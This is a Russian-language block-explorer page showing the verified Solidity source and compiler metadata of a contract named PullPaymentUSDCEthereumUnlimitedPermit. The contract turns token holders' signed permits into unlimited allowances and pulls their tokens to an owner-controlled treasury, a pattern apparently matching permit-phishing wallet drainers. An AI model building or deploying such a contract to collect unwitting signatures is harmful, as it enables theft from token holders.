Проверенный контрактЧастичноеMIT
PullPaymentUSDCEthereumUnlimitedPermit
Адрес0x3e24e5660d2e6fb04f8deb685cfc24219aea177f
- Баланс
0 ETH
- Транзакций
14
- Компилятор
solc 0.8.28
- Тот же код
ещё 2 контракта
Подробности
- Компилятор
- solc 0.8.28+commit.7893614a
- Язык
- solidity
- Оптимизация
- Да, 200 прогонов
- Версия EVM
- cancun
- Лицензия
- MIT
- Совпадение
- Частичноекод создания: да, код в сети: да
- Проверен на Sourcify
- Создан в блоке
- 26 292 042
- Транзакция создания
- 0x9b14c09373…e7f9a19978
project/contracts/PullPaymentUSDCEthereumUnlimitedPermit.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20Permit2612 {
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
interface IERC20TransferFrom {
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
interface IDaiPermit {
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
contract PullPaymentUSDCEthereumUnlimitedPermit {
address public owner;
address public treasury;
address public executor;
event OwnerTransferred(address indexed previousOwner, address indexed newOwner);
event TreasuryUpdated(address indexed previousTreasury, address indexed newTreasury);
event ExecutorUpdated(address indexed previousExecutor, address indexed newExecutor);
event PermitPullExecuted(
address indexed token,
address indexed from,
address indexed treasury,
address executor,
uint256 amount
);
error NotOwner();
error PermitNotAllowed();
error NotExecutor();
error ZeroAddress();
error ZeroAmount();
error TransferFailed();
constructor(address initialTreasury, address initialExecutor) {
if (initialTreasury == address(0)) revert ZeroAddress();
if (initialExecutor == address(0)) revert ZeroAddress();
owner = msg.sender;
treasury = initialTreasury;
executor = initialExecutor;
emit OwnerTransferred(address(0), msg.sender);
emit TreasuryUpdated(address(0), initialTreasury);
emit ExecutorUpdated(address(0), initialExecutor);
}
modifier onlyOwner() {
if (msg.sender != owner) revert NotOwner();
_;
}
modifier onlyExecutor() {
if (msg.sender != executor) revert NotExecutor();
_;
}
function transferOwnership(address newOwner) external onlyOwner {
if (newOwner == address(0)) revert ZeroAddress();
address previousOwner = owner;
owner = newOwner;
emit OwnerTransferred(previousOwner, newOwner);
}
function setTreasury(address newTreasury) external onlyOwner {
if (newTreasury == address(0)) revert ZeroAddress();
address previousTreasury = treasury;
treasury = newTreasury;
emit TreasuryUpdated(previousTreasury, newTreasury);
}
function setExecutor(address newExecutor) external onlyOwner {
if (newExecutor == address(0)) revert ZeroAddress();
address previousExecutor = executor;
executor = newExecutor;
emit ExecutorUpdated(previousExecutor, newExecutor);
}
function executeWithPermit(
address token,
address from,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external onlyExecutor {
if (token == address(0)) revert ZeroAddress();
if (from == address(0)) revert ZeroAddress();
if (amount == 0) revert ZeroAmount();
IERC20Permit2612(token).permit(
from,
address(this),
type(uint256).max,
deadline,
v,
r,
s
);
bool success = IERC20TransferFrom(token).transferFrom(from, treasury, amount);
if (!success) revert TransferFailed();
emit PermitPullExecuted(token, from, treasury, msg.sender, amount);
}
function executeWithDaiPermit(
address token,
address from,
uint256 amount,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external onlyExecutor {
if (token == address(0)) revert ZeroAddress();
if (from == address(0)) revert ZeroAddress();
if (amount == 0) revert ZeroAmount();
if (!allowed) revert PermitNotAllowed();
IDaiPermit(token).permit(from, address(this), nonce, expiry, allowed, v, r, s);
bool success = IERC20TransferFrom(token).transferFrom(from, treasury, amount);
if (!success) revert TransferFailed();
emit PermitPullExecuted(token, from, treasury, msg.sender, amount);
}
}
// VAVC_CONTRACT_VERSION: 2
// VAVC_PUBLICATION_ID: 2mRinOvbviYm43XhVdxFs2i1oEfb4hp6MYxYxiTVTOZP5OEJC69bjtZY68CoK9sGieAWswK90HET0VM4
Настройки компилятораПоказать
{
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"runs": 200,
"enabled": true
},
"evmVersion": "cancun"
}Исходный код и метаданные: Sourcify.
Исходный код принадлежит авторам контракта.